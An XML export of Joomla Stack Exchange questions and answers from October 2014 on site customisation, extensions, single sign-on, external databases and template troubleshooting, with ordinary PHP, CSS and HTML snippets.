  <row Id="4805" PostTypeId="2" ParentId="4800" CreationDate="2014-10-15T19:37:53.213" Score="2" Body="&lt;p&gt;Just an idea for a quick implementation: You could add a modal link to the com_users edit profile view in your component's view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of your view add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.modal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then link like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a class=&quot;modal&quot; href=&quot;index.php?option=com_users&amp;amp;view=profile&amp;amp;layout=edit&amp;amp;tmpl=component?&quot; rel=&quot;{handler: 'iframe', size: {x: 640, y: 540}}&quot;&amp;gt; Edit Login Details&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will open the edit profile layout in a modal window, without leaving your current page and have the com_users do the job, instead of re-creating the same functionality.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-03-02T23:26:20.053" LastActivityDate="2015-03-02T23:26:20.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4806" PostTypeId="2" ParentId="4803" CreationDate="2014-10-15T23:22:56.800" Score="6" Body="&lt;p&gt;There used to be a Joomla 1.5 era extension called &lt;strong&gt;Automatic Menu&lt;/strong&gt; but I can't find it on the &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;noreferrer&quot;&gt;JED&lt;/a&gt; that did exactly this, so, I'm guessing it never made it off 1.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in recent times we used a similar feature in &lt;a href=&quot;http://extensions.joomla.org/extensions/structure-a-navigation/menu-systems/menu-editors/168&quot; rel=&quot;noreferrer&quot;&gt;SWMenu&lt;/a&gt; (we have a Pro license but I believe the feature is the same in the free version). With that we have the category structure in the menu's and SWMenu populates the sub-menu items from the articles in the category. I can't remember the exact details of it's implementation as it's been a while.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-10-15T23:22:56.800" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4808" PostTypeId="2" ParentId="4803" CreationDate="2014-10-16T09:10:07.260" Score="3" Body="&lt;p&gt;Having looked around a little, I found the following plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/structure-a-navigation/menu-systems/menu-editors/20057&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/structure-a-navigation/menu-systems/menu-editors/20057&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Upload, install and enable&lt;/li&gt;&#xA;&lt;li&gt;Once you have your category structure complete, in the plugin settings, select all the categories you wish to use. You will also need to select all subcategories too as it doesn't detect them automatically.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I may have misunderstood your question, not sure but worth a shot.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-16T09:10:07.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4809" PostTypeId="1" CreationDate="2014-10-16T11:41:34.033" Score="4" ViewCount="468" Body="&lt;p&gt;I have hundreds of identical joomla installations on same server. For two years, I have been updating and maintaining them seperately which makes me too tired and causes too much time and energy loss.&#xA;Because I do not have time I only want to get suggestions if you have tried something like my intention:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to upload all joomla core files/folders to one directory on the server. Then all remaining sites will have only configuration.php and images folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this situation, I will be able to centralize the maintenance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? If so what are the drawbacks? &lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2014-10-17T15:21:17.177" Title="Single source many Joomla sites on a server. How could it be possible?" Tags="|joomla-3.3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4810" PostTypeId="2" ParentId="4784" CreationDate="2014-10-16T13:46:54.820" Score="1" Body="&lt;p&gt;As @codinghands pointed out, the category is not technically content so (by design) all the information of interest is not available, leaving only the title of the category generally available to alter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other &quot;catch&quot; when listing all the subcategories and articles within the category is that the plugin event is fired for &lt;em&gt;all of them&lt;/em&gt;, so if you have more than a few categories and/or articles, the plugin code is going to fire &lt;em&gt;a lot&lt;/em&gt;, unless provision is made to fire only once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the parameters of &lt;strong&gt;&lt;em&gt;only the main category&lt;/em&gt;&lt;/strong&gt; being displayed, my assumption is that the first time the plugin is fired, it is for the main category.  (This has been proven true in my case, but I can't be certain that other settings might change that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;index.php?option=com_content&amp;amp;view=category&amp;amp;id=123&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static $isMainCat = true;&#xA;if($isMainCat){&#xA;    $catid = JFactory::getApplication()-&amp;gt;input-&amp;gt;getInt('id');&#xA;&#xA;    $basePath = JPATH_ADMINISTRATOR . '/components/com_categories';&#xA;    require_once $basePath . '/models/category.php';&#xA;    $category = new CategoriesModelCategory(array('table_path' =&amp;gt; $basePath . '/tables'));&#xA;    $item = $category-&amp;gt;getItem($catid);&#xA;&#xA;    $params = new JRegistry;&#xA;    $params-&amp;gt;loadString($item-&amp;gt;params);&#xA;    $image = $params-&amp;gt;get('image','noimage.gif');&#xA;&#xA;    $isMainCat = false; // Prevent this code from running on any but the first category&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-10-16T13:46:54.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4811" PostTypeId="1" AcceptedAnswerId="4812" CreationDate="2014-10-16T13:50:04.727" Score="0" ViewCount="1051" Body="&lt;p&gt;please visit this link : &lt;a href=&quot;http://naadiastrology.info/&quot; rel=&quot;nofollow&quot;&gt;http://naadiastrology.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change the background for the entire website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOw you can see some lines in the background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that lines are images? or what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i want to put background-color for entire website.&lt;/p&gt;&#xA;" OwnerUserId="1993" LastActivityDate="2014-10-16T13:53:07.233" Title="Change background of entire website" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4812" PostTypeId="2" ParentId="4811" CreationDate="2014-10-16T13:53:07.233" Score="0" Body="&lt;p&gt;The CSS for your background is being pushed to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of your template, most likely by Joomla's &lt;code&gt;addStyleDeclaration&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.site {&#xA;    background-color: green;&#xA;    background-image: url(&quot;/templates/corpoboost/images/patterns/1.png&quot;);&#xA;    border-top: 3px solid #db8000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, it's most likely being set in your template parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Template Manager&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select your template and there should be some options&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-16T13:53:07.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4813" PostTypeId="1" AcceptedAnswerId="4817" CreationDate="2014-10-16T13:58:17.873" Score="-1" ViewCount="2695" Body="&lt;p&gt;please visit this link : &lt;a href=&quot;http://www.sivanadi.com&quot; rel=&quot;nofollow&quot;&gt;http://www.sivanadi.com&lt;/a&gt; [wordpress]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below &quot;menu&quot; , you can see moving lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do it in a joomla site's footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help me to find some solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1993" LastActivityDate="2014-10-16T15:32:54.043" Title="how to display Moving text in a website" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="14" ClosedDate="2014-10-16T20:09:55.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="4815" PostTypeId="2" ParentId="4809" CreationDate="2014-10-16T14:45:48.390" Score="2" Body="&lt;p&gt;I would use a service like watchful. It allows to update many sites in one go or even automatically updates them for you.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-10-16T14:45:48.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4816" PostTypeId="1" CreationDate="2014-10-16T15:15:19.827" Score="3" ViewCount="2023" Body="&lt;p&gt;We can load Joomla framework in external file via &#xA;&lt;a href=&quot;http://docs.joomla.org/Framework_Compatibility&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Framework_Compatibility&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Define JRequest::clean to protect our variables!&#xA;define('_JREQUEST_NO_CLEAN', 1); &#xA;&#xA;// basic to make J! happy&#xA;define('_JEXEC', 1); //make j! happy&#xA;define('JPATH_BASE', dirname(__FILE__));&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;// Load up the standard stuff for testing&#xA;require_once JPATH_BASE.DS.'includes'.DS.'defines.php';&#xA;require_once JPATH_BASE.DS.'includes'.DS.'framework.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but is there a way to include the default frontend template  ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone has already suggested this but it does not work &#xA;&lt;a href=&quot;http://westernstudios.net/tutorials/page/joomla-load-template-in-external-file&quot; rel=&quot;nofollow&quot;&gt;http://westernstudios.net/tutorials/page/joomla-load-template-in-external-file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="200" LastActivityDate="2014-10-16T16:54:44.463" Title="How to load Joomla framework in external file including the template?" Tags="|joomla-api|joomla-framework-1.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4817" PostTypeId="2" ParentId="4813" CreationDate="2014-10-16T15:32:54.043" Score="2" Body="&lt;p&gt;The simplest way to get scrolling text is to look for a Joomla extension. The &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;Joomla Extension Directory&lt;/a&gt; has extensions to achieve lots of nice effects and functionality, and most of them are available for free. It's a good starting point for many of your Joomla-related problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you take a look at this extension: &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/articles-display/news-tickers-a-scrollers/6677&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/news-display/articles-display/news-tickers-a-scrollers/6677&lt;/a&gt;. Other alternatives can be found here: &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/articles-display/news-tickers-a-scrollers&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/news-display/articles-display/news-tickers-a-scrollers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you decide to use another code (using &lt;a href=&quot;http://jsfiddle.net/FWWEn/&quot; rel=&quot;nofollow&quot;&gt;jQuery&lt;/a&gt;), keep in mind that most editors in Joomla (like TinyMCE) will strip out most of your JavaScript code. The best way to use custom code is to &lt;a href=&quot;http://docs.joomla.org/Creating_a_simple_module&quot; rel=&quot;nofollow&quot;&gt;create your own Joomla Module&lt;/a&gt;. It's not hard, but requires some PHP experience. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easier way to add custom code is to use a &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/coding-a-scripts-integration/custom-code-in-modules&quot; rel=&quot;nofollow&quot;&gt;Custom Code Module&lt;/a&gt;, basically a text module without filtering. That way you can add CSS, JavaScript, PHP and HTML code without problems.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-16T15:32:54.043" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="4818" PostTypeId="2" ParentId="4468" CreationDate="2014-10-16T16:05:55.770" Score="3" Body="&lt;p&gt;As far as I know, Joomla itself does not send out update notifications by email. My guess is that you have a third-party extension for this. &lt;a href=&quot;http://akeebabakup.com&quot; rel=&quot;nofollow&quot;&gt;Akeeba Backup&lt;/a&gt; used to send out update notifications, but I think they stopped due to the amount of support tickets caused by this function. It should still be available, but you might have to enable it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other update notification tools available at JED, like &lt;a href=&quot;https://compojoom.com/joomla-extensions/cupdater-notification-system&quot; rel=&quot;nofollow&quot;&gt;CUpdater&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-10-16T16:05:55.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4819" PostTypeId="2" ParentId="4816" CreationDate="2014-10-16T16:54:44.463" Score="4" Body="&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;define('JPATH_BASE',str_replace(basename(dirname(__FILE__)),&quot;&quot;,dirname(__FILE__)));&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;$mainframe              = JFactory::getApplication('site');&#xA;$config                 = JFactory::getConfig();&#xA;$config-&amp;gt;set('live_site','http://localhost/test/');// for js and css links&#xA;$mainframe-&amp;gt;initialise();&#xA;$mainframe-&amp;gt;route();&#xA;$mainframe-&amp;gt;render();&#xA;echo $mainframe;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ok this one works&lt;/p&gt;&#xA;" OwnerUserId="200" LastActivityDate="2014-10-16T16:54:44.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4820" PostTypeId="1" CreationDate="2014-10-16T16:56:07.907" Score="2" ViewCount="10374" Body="&lt;p&gt;I've been searching over the net on how to make a Single Sign On Joomla 3.3 to work with a system that is based on Java. Both Joomla portal and java system are under the same server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need it to work when:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User login using their username and password from frontend joomla portal&lt;/li&gt;&#xA;&lt;li&gt;After login, user can also access the the system without a need to login again&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It can happen vice versa as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got LDAP configured and enabled however still could not get the SSO to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I have JMapMyLDAP plugin installed and configured and it works well with OpenLDAP. But SSO is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much in stall now. Is there any idea? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice?&lt;/p&gt;&#xA;" OwnerUserId="2038" LastEditorUserId="2038" LastEditDate="2014-10-17T01:08:18.213" LastActivityDate="2022-02-23T20:34:46.537" Title="Single Sign On (SSO) Joomla with other System" Tags="|joomla-3.x|login|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4821" PostTypeId="2" ParentId="4820" CreationDate="2014-10-16T17:53:20.493" Score="1" Body="&lt;p&gt;The are several authentication plugins in Joomla. For instance: &lt;strong&gt;Authentication - LDAP&lt;/strong&gt; plugin.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Lightweight Directory Access Protocol (LDAP) is a protocol designed to access directory systems over TCP/IP. Because of this various databases provide an LDAP interface such as Microsoft's Active Directory, Novell's eDirectory, as well as more dedicated LDAP solutions such as OpenLDAP.&lt;/p&gt;&#xA;&lt;p&gt;Joomla! has had a native LDAP library, JLDAP Joomla 2.5 (changed to JClientLDAP in Joomla 3.x) and a native LDAP authentication plugin. This allows Joomla! to authenticate against LDAP systems out of the box: to configure, go to the Plugin Manager and enable and edit the Authentication - LDAP plugin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Developer: LDAP from scratch&lt;/strong&gt;&#xA;&lt;a href=&quot;http://community.joomla.org/component/zine/article/507-developer-ldap-from-scratch-sam-moffatt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://community.joomla.org/component/zine/article/507-developer-ldap-from-scratch-sam-moffatt.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aAQL7.png&quot; alt=&quot;Developer: LDAP from scratch&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can use any of them, or create a new one based on the available source code.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-10-16T17:53:20.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4822" PostTypeId="2" ParentId="4798" CreationDate="2014-10-16T18:00:48.747" Score="2" Body="&lt;p&gt;Some hosts blacklist SMTP mail servers and the PHP mail setting just never consistently works. We ended up having to use mandrill's API &lt;a href=&quot;http://mandrill.com/&quot; rel=&quot;nofollow&quot;&gt;http://mandrill.com/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an exellent extension to use the API instead for all mail on your site. CMandrill.&#xA;&lt;a href=&quot;https://compojoom.com/joomla-extensions/mandrill-transactional-emails-made-easy&quot; rel=&quot;nofollow&quot;&gt;https://compojoom.com/joomla-extensions/mandrill-transactional-emails-made-easy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This of course cannot use your current SMTP host but it is free up to 12000 emails a month (so you probably will never need to pay).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other then that you can only really play with the settings and test until it works, but in our experience it could work once but not the next time, the general SMTP protocol has issues in shared environments (if that is what you are on).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently Joomla does not actually have anything to debug email issues, the phpmailer library it uses in JMail does have the ability, but the last time I looked at the class it was not implemented to log the data anywhere.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-10-17T17:24:10.127" LastActivityDate="2014-10-17T17:24:10.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4823" PostTypeId="2" ParentId="4820" CreationDate="2014-10-17T00:00:12.650" Score="1" Body="&lt;p&gt;We've never had much luck with Joomla's built-in LDAP support especially for SSO, and with due respect to @Anibal &lt;a href=&quot;http://community.joomla.org/component/zine/article/507-developer-ldap-from-scratch-sam-moffatt.html&quot; rel=&quot;nofollow&quot;&gt;that community magazine&lt;/a&gt; article is six or seven years out of date and written for Joomla 1.5.4 and AFAIK didn't support SSO at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past we've used the &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/authentication-cloud-based/18108&quot; rel=&quot;nofollow&quot;&gt;JMapMyLDAP Tools&lt;/a&gt; for client intranets where they've had everything from OpenLDAP to Active Directory based systems. You can download the plugins from &lt;a href=&quot;http://shmanic.com/tools/jmapmyldap/download.htm&quot; rel=&quot;nofollow&quot;&gt;their website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation can be &lt;a href=&quot;http://shmanic.com/tools/jmapmyldap/documentation.htm&quot; rel=&quot;nofollow&quot;&gt;found here&lt;/a&gt;, the &lt;a href=&quot;http://shmanic.com/tools/jmapmyldap/documentation/sso-troubleshooting.htm&quot; rel=&quot;nofollow&quot;&gt;SSO Trouble Shooting page is here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I found &lt;a href=&quot;http://timplummer.com.au/4-how-to-integrate-joomla-3-with-active-directory-using-ldap.html&quot; rel=&quot;nofollow&quot;&gt;this article for v1&lt;/a&gt; of &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/authentication-cloud-based/18108&quot; rel=&quot;nofollow&quot;&gt;JMapMyLDAP Tools&lt;/a&gt; which is at least more recent than the 2007/8 article, albeit about Active Directory.&lt;/p&gt;&#xA;" OwnerUserId="107" LastEditorUserId="107" LastEditDate="2014-10-17T01:52:55.020" LastActivityDate="2014-10-17T01:52:55.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4824" PostTypeId="1" CreationDate="2014-10-17T01:01:16.313" Score="0" ViewCount="3076" Body="&lt;p&gt;I need to my portal that I'm building to be able to integrate with an existing system. The portal just have to pull data from the system database so that any update made from the system, the portal will also receive an update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/Selecting_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Connecting_to_an_external_database&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/Connecting_to_an_external_database&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;a href=&quot;https://stackoverflow.com/questions/15441065/joomla-using-multiple-database-queries-in-one-function&quot;&gt;https://stackoverflow.com/questions/15441065/joomla-using-multiple-database-queries-in-one-function&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I still could not get the idea on where to start first. I mean, which php file inside Joomla 3.x that I should modify? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better &amp;amp; simpler explanation as I'm too bad understanding a complex explanation&lt;/p&gt;&#xA;" OwnerUserId="2038" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-05-22T08:12:25.727" Title="Multiple database connection for integration with other system" Tags="|joomla-3.x|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4825" PostTypeId="1" AcceptedAnswerId="4854" CreationDate="2014-10-17T04:49:36.810" Score="2" ViewCount="2435" Body="&lt;p&gt;I am using a joomla version 3.+ with k2 and k2store &#xA;Recently we ran into a issue which we are unable to solve &#xA;When we enter the site is showing without any css like a regular HTML Page&#xA;here is the screenshot &#xA;I am using a Template called Favourite - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/mIBj4.png&quot; alt=&quot;this is the menu which I am seeing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GdgAf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to understand why is it showing like this without any template &#xA;If am trying to access the clear cache &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirectoryIterator::__construct(/home/server/public_html/domain/demo/cache) [&amp;lt;a href='directoryiterator.--construct'&amp;gt;directoryiterator.--construct&amp;lt;/a&amp;gt;]: failed to open dir: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="411" LastActivityDate="2014-10-18T05:36:34.153" Title="Joomla 3 Website loading without the css" Tags="|joomla-3.x|templates|cache|k2store|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4826" PostTypeId="1" CreationDate="2014-10-17T05:47:11.433" Score="3" ViewCount="765" Body="&lt;p&gt;Please visit this link : &lt;a href=&quot;http://breakdesigns.net/extensions/moving-text&quot; rel=&quot;nofollow&quot;&gt;http://breakdesigns.net/extensions/moving-text&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed this extension using : Extension Manager &gt; Upload package file. It's installed successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i gave this text is modules = &gt; {text =scrollig text } &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not working in site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help me to find solution to add moving text in joomla.&lt;/p&gt;&#xA;" OwnerUserId="1993" LastActivityDate="2014-12-16T08:49:50.583" Title="How to install and enable moving text extension in joomla" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4827" PostTypeId="1" CreationDate="2014-10-17T06:50:03.967" Score="0" ViewCount="17" Body="&lt;p&gt;I installed this extension : &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/articles-display/news-tickers-a-scrollers/6677&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/news-display/articles-display/news-tickers-a-scrollers/6677&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed this extension using : Extension Manager &gt; Upload package file. It's installed successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Plug-in manager, I enabled It.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than In Module manager, I created &quot;Moving text&quot; module and in &quot;Custom output&quot; , I entered the code : &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;{text =scrollig text }&#xA;&#xA;&#xA;&#xA;&lt;p&gt;But it's not working here you can visit this link and see in footer &lt;a href=&quot;http://naadiastrology.info/&quot; rel=&quot;nofollow&quot;&gt;http://naadiastrology.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why it's not working or how to use this extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help me to find solution.&lt;/p&gt;&#xA;" OwnerUserId="1993" LastActivityDate="2014-10-17T06:50:03.967" Title="How to Enable &quot;joomla extension and apply to modules&quot;" Tags="|joomla-2.5|" AnswerCount="0" CommentCount="3" ClosedDate="2014-10-17T15:07:40.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="4828" PostTypeId="2" ParentId="4826" CreationDate="2014-10-17T07:09:19.167" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Check that you have enabled the plugin in Extensions -&gt; Plugin Manager.&lt;/li&gt;&#xA;&lt;li&gt;Edit the module in Extensions -&gt; Module Manager and set &quot;Prepare Content&quot; to &quot;Yes&quot; in the Options tab.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="120" LastActivityDate="2014-10-17T07:09:19.167" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4829" PostTypeId="2" ParentId="2322" CreationDate="2014-10-17T09:07:49.147" Score="2" Body="&lt;p&gt;jDownloads 3.2 series is just on point of being stable for Joomla 3.x (and similarly for jd2.5 series on Joomla 2.5)  Recommendation by author is now to upgrade  there are articles on the upgrade from the older jD1.9 series to the latest versions.  The principle modules and plugins from jDownloads are mostly converted but extensions from other people may not be done yet.  There are many extra features in the new version.&#xA;Many of the features are listed at&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/directory-a-documentation/downloads/2849&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/directory-a-documentation/downloads/2849&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2040" LastActivityDate="2014-10-17T09:07:49.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4831" PostTypeId="2" ParentId="4824" CreationDate="2014-10-17T11:21:50.070" Score="1" Body="&lt;p&gt;You have found specific articles for the question about Joomla opening an external connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, your next question is how to extend Joomla. If you are need to create a whole set of new features, for instance, browsing external tables in your site, then you have to create a &lt;strong&gt;Component&lt;/strong&gt;. If you only have to display a list of entries in a position, you can simply create a &lt;strong&gt;Module&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Developers - Getting Started&lt;/strong&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/Portal:Developers&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Portal:Developers&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-10-17T11:21:50.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4832" PostTypeId="1" AcceptedAnswerId="4835" CreationDate="2014-10-17T13:24:42.627" Score="-3" ViewCount="39" Body="&lt;p&gt;I want to decrese the moving speed of text in the &lt;a href=&quot;http://breakdesigns.net/extensions/moving-text&quot; rel=&quot;nofollow&quot;&gt;Moving Text&lt;/a&gt; extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1993" LastEditorUserId="159" LastEditDate="2014-10-18T06:42:15.093" LastActivityDate="2014-10-18T17:56:49.077" Title="How to decrease the speed of the moving text in MovingText" Tags="|joomla-2.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
